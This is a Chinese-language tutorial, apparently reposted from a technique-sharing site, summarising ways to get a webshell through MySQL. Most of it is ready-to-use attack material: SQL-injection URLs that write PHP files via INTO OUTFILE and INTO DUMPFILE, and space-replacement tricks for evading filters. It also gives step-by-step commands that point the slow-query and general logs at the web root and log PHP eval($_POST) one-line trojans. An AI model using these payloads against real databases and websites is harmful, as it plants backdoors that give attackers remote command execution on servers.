mysql數據庫中getshell的方式總結
MySQL版本大于5.0,MySQL 5.0版本以上會創建日志文件,我們通過修改日志文件的全局變量,就可以GetSHELL,下面這篇文章主要給大家介紹了關于mysql數據庫中getshell的方式,需要的朋友可以參考下
outfile和dumpfile寫shell
利用條件
數據庫當前用戶為root權限;知道當前網站的絕對路徑;PHP的GPC為 off狀態;(魔術引號,GET,POST,Cookie)寫入的那個路徑存在寫入權限。
基于union聯合查詢:
?id=1 union select 1,‘<?php phpinfo();?>’,3 into outfile ‘C:\phpstudy\www\shell.php’%23
?id=1 union select 1,‘<?php phpinfo();?>’,3 into dumpfile ‘C:\phpstudy\www\shell.php’%23
非聯合查詢
當我們無法使用聯合查詢時,我們可以使用fields terminated by與lines terminated by來寫shell
?id=1 into outfile ‘C:\phpstudy\www\shell.php’ FIELDS TERMINATED BY ‘<?php phpinfo();?>’%23
代替空格的方法
+號,%0a、%0b、%a0 、 /**/ 注釋符等
outfile和dumpfile的區別
outfile:
1、 支持多行數據同時導出2、 使用union聯合查詢時,要保證兩側查詢的列數相同3、 會在換行符制表符后面追加反斜杠4、會在末尾追加換行
dumpfile:
1、 每次只能導出一行數據2、 不會在換行符制表符后面追加反斜杠3、 不會在末尾追加換行
因此,我們可以使用into dumpfile這個函數來順利寫入二進制文件;
當然into outfile函數也可以寫入二進制文件,但是無法生效(追加的反斜杠會使二進制文件無法生效)
當我們使用dumpfile,應該手動添加 limit 限制,來獲取不同的行數
secure_file_prive
MySQL的secure-file-prive參數是用來限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
secure_file_prive= ,結果為空的話,表示允許任何文件讀寫secure_file_prive=NULL,表示不允許任何文件讀寫secure_file_prive=‘某個路徑’,表示這個路徑作為文件讀寫的路徑在mysql5.5版本前,都是默認為空,允許讀取在mysql5.6版本后 ,默認為NULL,并且無法用SQL語句對其進行修改。所以這種只能在配置進行修改。
查詢secure_file_prive的參數
show global variables like “%secure%”
利用sql語句修改參數
set global secure_file_prive=
但是5.6后不能利用sql修改了,所以只能利用配置修改
修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf
日志getshell
慢日志getshell
慢日志:
一般都是通過long_query_time選項來設置這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值(默認為10秒),這個查詢語句將被記錄到慢查詢日志中。查看服務器默認時間值方式如下:
show global variables like ‘%long_query_time%’
show global variables like ‘%long%’
查看慢日志參數
show global variables like ‘%slow%’
對慢日志參數進行修改
set global slow_query_log=1 #打開慢日志
set global slow_query_log_file=‘c:\phpstudy\www\test.php’#慢日志的路徑
注意:一定要用雙反斜杠
SELECT ‘<?php @eval($_POST[1]);?>’ or sleep(11)
這兒11是超過慢日志的10秒時間
利用general_log
利用general_log,可以將所有到達mysql服務器的sql語句,都記錄下來。
相關參數一共有3個:general_log、log_output、general_log_file
show variables like ‘general_log’; – 查看日志是否開啟
set global general_log=on; – 開啟日志功能
show variables like ‘general_log_file’; – 看看日志文件保存位置
set global general_log_file=‘tmp/general.lg’; – 設置日志文件保存位置
show variables like ‘log_output’; – 看看日志輸出類型 table或file
set global log_output=‘table’; – 設置輸出類型為 table
set global log_output=‘file’; – 設置輸出類型為file
一般log_output都是file,就是將日志存入文件中。table的話就是將日志存入數據庫的日志表中。
getshell
set global general_log=on
set global general_log_file=‘需要攻擊的路徑’
select ‘<?php eval($_POST[cmd]);?>’
這樣就將一句話木馬記錄到general_log中,從而getshell
binlog的介紹
https://www.jb51.net/article/254968.htm